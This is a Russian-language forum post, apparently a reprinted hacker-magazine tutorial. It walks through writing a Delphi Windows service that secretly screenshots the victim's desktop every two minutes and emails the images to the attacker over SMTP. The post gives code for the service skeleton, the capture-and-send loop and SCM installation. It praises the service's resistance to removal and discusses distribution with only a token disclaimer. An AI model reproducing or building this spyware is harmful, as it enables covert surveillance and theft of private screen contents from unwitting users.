Видео-шпион или лепим сервис визуального наблюдения

CUK77

Professional
Messages
1,193
Reputation
3
Reaction score
386
Points
83
Во многих компаниях, где работа идет преимущественно за компьютером, админы любят устанавливать на машины сотрудников интересную программу: сервис визуального наблюдения. Она висит в памяти и записывает все, что происходит на рабочем столе пользователя. Если вдруг юзер решил вместо работы поиграть в сапера – менеджер это мгновенно заметит и даст геймеру по ушам. Такой способ слежения наверняка пригодится хакеру, которого должно уже тошнить от текстовых логов обычных spyware-утилит.

Как ты уже понял, в этой статье мы разберемся, как написать программу видео-шпион. Некий сервис, который будет раз в какое-то время снимать с рабочего стола пользователя скриншот и отправлять на мыло (как вариант – сохранять на диск). В принципе, в том, чтобы снять, сжать и отправить, снимок экрана большой сложности нет. Но вот устройство сервисов штука уже не такая простая, и ей придется уделить особое внимание. Почему именно сервис? Ну, во-первых, так принято ;). Во-вторых, сервис не даст себя убить простому смертному пользователю. И, в-третьих, он не будет нагло висеть в автозагрузке, а залезет очень далеко и глубоко. Так что, чтобы обнаружить его и обезвредить придется поднапрячься.

Трепанация

Раз уж мы собрались писать шпиона в виде сервиса, сначала мы должны разобраться, что он из себя представляет. Итак, сервис, или, как его любят называть разработчики винды «Служба», - это исполняемый файл PE-формата, то есть экзешник. От обычного приложения его отличает особая начинка. Каждый сервис должен состоять как минимум из трех специальных функции, о каждой из которых мы поговорим отдельно:

Main-функция. Как я уже сказал, сервисы представляют собой обычные исполняемые файлы, у которых, как и у всех, должна быть главная функция, вызываемая при запуске программы. В ней мы должны, прежде всего, сообщить системе, что данный файл содержит код не обычной программы, а службы. Для этого мы вызовем функцию StartServiceCtrlDispatcher и передадим ей структуру типа Service_Table_Entry, в которой будут описаны имя сервиса и указатель на его ServiceMain-функцию.
Main-функция нашего шпиона

DispatchTable.lpServiceName:='Our service';

DispatchTable.lpServiceProc:=@ServiceMain;

StartServiceCtrlDispatcher(DispatchTable);

ServiceMain-функция. На этом участке кода будет происходить инициализация и вся основная работа нашего шпиона. О нем нам еще предстоит поговорить ниже.
Handler-функция. Предназначена для обработки системных событий типа запуска, паузы или остановки сервиса. В качестве параметра система передает ей сообщение об изменении состояния сервиса. Все типы сообщений я описывать не буду, их можно взять в MSDN, скажу лишь о SERVICE_CONTROL_INTERROGATE. Это сообщение самое важное и требует немедленно возвратить текущий «статус» сервиса, используя SetServiceStatus. Даже, если мы забьем на всякие функции типа остановки сервиса, это сообщение обрабатывать все равно придется.

Let's code!

Зная основу анатомии сервисов, можно приступить к кодингу. Хочу заметить, что, как правило, сервисы – это консольные приложения, а значит, писать мы будем непосредственно в коде проекта. В связи с этим можешь смело удалять из проекта все юниты, вычищать секцию uses и весь код между begin и end.

Правда, совсем без модулей мы далеко не уедем, так что добавляй в секцию uses: Windows и WinSvc, чтобы была возможность пользоваться стандартными виндовыми функциями, константами и типами.

Также понадобятся несколько глобальных переменных. Для регистрации сервиса в главной функции - DispatchTable типа Service_Table_Entry. Для описания текущего статуса сервиса - MyServiceStatus типа SERVICE_STATUS. А для обращения к сервису - его хэндл в переменной ServiceStatusHandle типа SERVICE_STATUS_HANDLE.

Инициализация

Что ж, пришла пора нам реализовывать ServiceMain-функцию. И первое, что мы должны в ней сделать – это создать и инициализировать все переменные, используемые в дальнейшем. Начнем, пожалуй, со структуры MyServiceStatus, нужной для регистрации сервиса в системе. У нее 7 параметров и все мы должны заполнить:

dwServiceType - тип сервиса. У нас шпион самый обычный, без выпендрежа, поэтому нас устроит значение SERVICE_WIN32;
dwCurrentState - текущий «статус» сервиса. Так как нам предстоит долгая инициализация, установим пока это значение в SERVICE_START_PENDING (в режиме ожидания);
dwControlsAccepted – параметр, определяющий, какие события от системы будет принимать сервис. Давай позволим пользователю останавливать и ставить сервис на паузу (SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_PAUSE_CONTINUE), мы же не изверги, верно?
dwWin32ExitCode, dwServiceSpecificExitCode - коды ошибок. У нас никаких ошибок пока нет ;), поэтому забиваем оба параметра нулями;
dwCheckPoint - текущее состояние выполнения процесса. Это значение надо периодически увеличивать и сообщать об этом системе (SetServiceStatus), иначе система решит, что сервис завис. Ставим 0;
dwWaitHint - время в миллисекундах, которое система ждет обновления статуса сервиса. Тут есть интересная фишка. Если поставить dwWaitHint:=0, то можно будет не париться по поводу увеличения dwCheckpoint. Нам лишний геморрой ни к чему, поэтому так мы и сделаем.
Заполнив структуру, надо зарегистрировать с ее помощью наш сервис визуального наблюдения:

MyServiceStatusHandle:= RegisterServiceCtrlHandler('OurVideoSpyService', @MyServiceCtrlHandler);

В качестве параметров здесь передаются имя сервиса, указанное при заполнении DispatchTable и указатель на handler-функцию.

Мы указали его статус как SERVICE_START_PENDING, поэтому он пока находится в состоянии ожидания. Запустить его на полную катушку можно будет лишь после инициализации остальных переменных, которые понадобятся нам уже для реализации, собственно, самого визуального наблюдения.

Смело объявляй в ServiceMain следующие переменные:
desk: hDC;

bmScreen: Graphics.TBitmap;

jpeg: TJPEGImage;

smtp: TidSMTP;

mes: TidMessage;

attach: TIdAttachment;

Первая переменная будет содержать хэндл контекста устройства - значение, которое понадобится в дальнейшем для получения снимка рабочего стола. Следующие две переменные необходимы для хранения оригинала снимка и его сжатой версии. А с помощью smtp мы будем отправлять сообщение mes, к которому прикрепим аттач в виде переменной типа TIdAttachment.

Кстати, если ты обратишь внимания на типы переменных, то заметишь, что я не стал писать сервис исключительно на WinAPI. Причин тому есть несколько. Во-первых, – это кошмарный формат JPEG, без которого не удалось бы по-человечески сжать скриншот. Реализовывать сжатие – это своего рода мазохизм, поэтому, если есть возможность, то надо этого избежать. Что я собственно и сделал. Во-вторых, – это нежелание реализовывать собственный smtp-движок, т. к. протокол SMTP сложный, можно наделать много ошибок, отловить которые будет очень непросто. Отправка почты у нас будет осуществляться также с помощью стандартного компонента TIdSMTP. Поэтому помимо модулей Graphics и JPEG, в uses мы должны добавить IdSMTP.

Естественно, что использование компонентов Delphi в программе очень неприятным образом отразится на ее размере. Поэтому было бы логично заметить, что для распространения шпиона (которым, между прочим, я тебе строго на строго не рекомендую заниматься) куски, использующие возможности среды, надо переписать на чистом API.

Ладно, вернемся к нашей инициализации. Нам надо вызвать конструкторы для всех переменных, объявленных выше кроме хэндла и аттача. Хэндл – это не класс, а просто дескриптор, у него вызывать и настраивать нечего. А аттач мы будем инициализировать позже, уже в процессе работы шпиона, так как в его конструкторе надо указать адрес прикрепляемого файла, а мы его узнаем лишь после сохранения снимка рабочего стола в файл.

Примеры вызовов конструкторов:
bmScreen:=Graphics.TBitmap.Create;

jpeg:=TJPEGImage.Create;

mes:=TIdMessage.Create(nil);

smtp:=TIdSMTP.Create(nil);

Создав объекты, мы должны настроить их параметры.

У битмапа выставить размеры экрана. Их можно получить с помощью функции GetSystemMetrics, скармливая ей сначала SM_CXSCREEN (для получения ширины экрана), а потом SM_CYSCREEN (для высоты).

Будущему SMTP-соединению мы должны указать smtp-сервер, логин и пароль на нем, а также тип аутентификации (atLogin).

В параметрах сообщения мы укажем, куда слать снимки рабочего стола и как оформлять письмо.

Если есть желание, можно также выставить качество сжатия JPEG поменьше. Если не трогать стандартных размеров (1024х768) скрин занимает где-то 150-200кб.

После инициализации всех возможных переменных, следует изменить значение текущего состояния сервиса, расположенного в переменной MyServiceStatus, на SERVICE_RUNNING и сообщить об этом системе:

MyServiceStatus.dwCurrentState:= SERVICE_RUNNING;

SetServiceStatus (MyServiceStatusHandle, MyServiceStatus);

Камера! Мотор!

Основной код сервиса – мы будем выполнять в цикле в ServiceMain-функции, после инициализации всех переменных. Я не придумал ничего более оригинального, чем сделать цикл бесконечным (вообще-то, так делать нельзя, лучше какую-нибудь переменную-флаг ввести, а не true писать – прим. Горл) : while true do.

В задачи основного кода входит: получение свежего снимка рабочего стола, сжатие его и отправка по заданному в параметрах переменной mess адресу. Каждый момент мы рассмотрим подробно.

Снять скриншот с рабочего стола – это, наверное, самое простое во всем сервисе визуального наблюдения. Делов-то - 2 строки. Сначала получаем хэндл контекста устройства (помнишь, мы переменную desk объявляли?). Делается это с помощью функции GetDC, которая по хэндлу окна выдаст хэндл контекста устройства (хэндл окна десктопа получается с помощью GetDesktopWindow). Этот контекст позволит получить доступ к изображению рабочего стола. А затем с помощью функции BitBlt полностью копируем изображение в наш буфер bmScreen.

BitBlt(bmScreen.Canvas.Handle, 0, 0, bmScreen.Width, bmScreen.Height, desk, 0, 0, SRCCOPY);

Для того чтобы ужать изображение (не хочешь же ты получать по 1,5 Мб, если можно 200 Кб) запишем его в переменную jpeg методом Assign, а затем сохраним в файл методом SaveToFile.

Полученный файл прикрепим к письму, с помощью переменной attach, в конструкторе которой мы укажем, к какому письму и какой файл присоединять.

Ну а, имея готовое письмо со скриншотом рабочего стола в аттаче, можно послать его по мылу. Я предлагаю взять процесс соединения с smtp-сервером в блок try-except, чтобы, если вдруг у нас возникнет ошибка (сервер не доступен там, или инет упал), сервис бы не помер. Если возникнет ошибка в таком блоке, шпион подождет полминуты и перейдет к следующей итерации цикла. Если же соединение прошло успешно, то мы просто отошлем созданное сообщение со скрином, отключимся и освободим переменную-аттач.

Рабочий код сервиса
Code:
desk:=GetDC(GetDesktopWindow);

BitBlt(bmScreen.Canvas.Handle, 0, 0, bmScreen.Width, bmScreen.Height, desk, 0, 0, SRCCOPY);

Jpeg.Assign(bmScreen);

Jpeg.SaveToFile('С:\screenshot.jpg');

attach:=TIdAttachment.Create(mess.MessageParts,'С:\screenshot.jpg');

try

smtp.Connect(-1);

except

sleep(30000); { полминуты }

continue;

end;

smtp.Send(mes);

smtp.Disconnect;

attach.Free;

{ пауза между итерациями - две минуты }

sleep(2*60000);

Установка

Наш видео-шпион закончен. Осталось только установить его в систему и наслаждаться результатом его работы. Правда для установки сервиса в систему, как это не прискорбно, потребуется еще одна программка, разработкой которой мы сейчас и займемся.

Все сервисы, запускаемые при старте Windows, загружаются специальной системой, называемой SCM (Service Control Manager). Для взаимодействия с этой системой есть ряд функций, которыми нам предстоит манипулировать.

Первая – OpenSCManager, функция, которая «откроет» SCM и получит определенные права доступа для работы с сервисами. Ей передаются имя машины, имя базы данных сервисов (оба параметра для локальных компьютеров - nil) и права доступа. Мы не будем скромничать и попросим в нашем установщике максимальных прав - SC_MANAGER_ALL_ACCESS. Если не произошло никаких ошибок, функция вернет нам хэндл SCM’а, без которого никакая работы с сервисами невозможна.

Открыв SCM, мы должны создать в нем наш сервис визуального наблюдения. Делается это функцией CreateService. Параметров у нее достаточно, опишу лишь ключевые:

hSCManager : SC_HANDLE – хэндл SCM’а, который получили выше;
lpServiceName : string - имя сервиса;
lpDisplayName : string - видимое пользователю название сервиса;
dwDesiredAccess : cardinal - запросы, на которые будет отвечать сервис. Я использовал SERVICE_ALL_ACCESS, но если ты совсем никого не любишь, то можешь оставить только SERVICE_INTERROGATE;
dwServiceType : cardinal - тип сервиса. Поскольку наш шпион – это интерактивный сервис, то есть ему требуется доступ к рабочему столу, к обычному значению типа сервиса SERVICE_WIN32_OWN_PROCESS мы должны дописать «or SERVICE_INTERACTIVE_PROCESS»;
lpBinaryPathName : string - путь до исполняемого файла сервиса.
Остальные параметры функции нас совершенно не касаются, поэтому мы заполняем их nil’ами.

Остается только выполнить функцию и можно считать, что наш видео-шпион полноценно установлен в системе. Функция вернет хэндл созданного сервиса. Его ты можешь использовать для дальнейшей конфигурации или удаления сервиса, а можешь вообще не трогать, от греха подальше.

По окончанию работы с сервисом (но не по окончанию работы самого сервиса) хэндл придется закрыть функцией CloseServiceHandle.

Если вдруг тебе захочется удалить нашего шпиона из системы, то используй функцию DeleteService. Параметром ей надо передать хендл, возвращаемый функцией CreateService. Как его получить, если ты уже закрыл после? Для этого есть функция OpenService, которая по названию сервиса вернет его хэндл.

Вместе веселее

Хороший получился шпион, только сырой немного. У него есть масса мелких недостатков. Но если их устранить, то хоть на прилавок клади и продавай. К примеру, из-за того, что мы использовали в проекте стандартные компоненты Delphi, экзешник сервиса страшно разросся.

Плюс, все письма будут с одинаковыми Subject’ами – разобраться, какой скрин когда снят будет сложновато. И т.п. и т.д. В общем, нет предела совершенству. Если тебе понравилась идея видео-шпиона, и ты хочешь ее развивать – пиши. Возможно, вместе у нас получиться что-нибудь потрясающее.

TService

В Delphi невероятное количество разных классов и компонентов. В том числе есть компонент для быстрой разработки сервисов. О нем уже писал Horrific в Ха №6.2004. Использование его наверняка сильно упростило бы работу над нашим видео-шпионом, но не дало бы такого полного представления о работе сервисной системы в Windows. За счет того, что мы написали сервис в Delphi на чистом API, у нас теперь не должно возникнуть никаких трудностей при переписывании его на Си или ассемблере.

WWW

Если захочешь заняться лишним весом шпиона, то тебе наверняка пригодятся эти линки: http://www.team-x.ru/show.php?id=coding/96 - статья, описывающая процесс отправки письма через MAPI, http://www.codenet.ru/progr/alg/jpeg_00.php - описание алгоритма сжатия JPEG.

INFO

В случае если пользователь не залогинен в систему функция GetDesktopWindow вернет 0, и скриншот придет пустой.
 
Top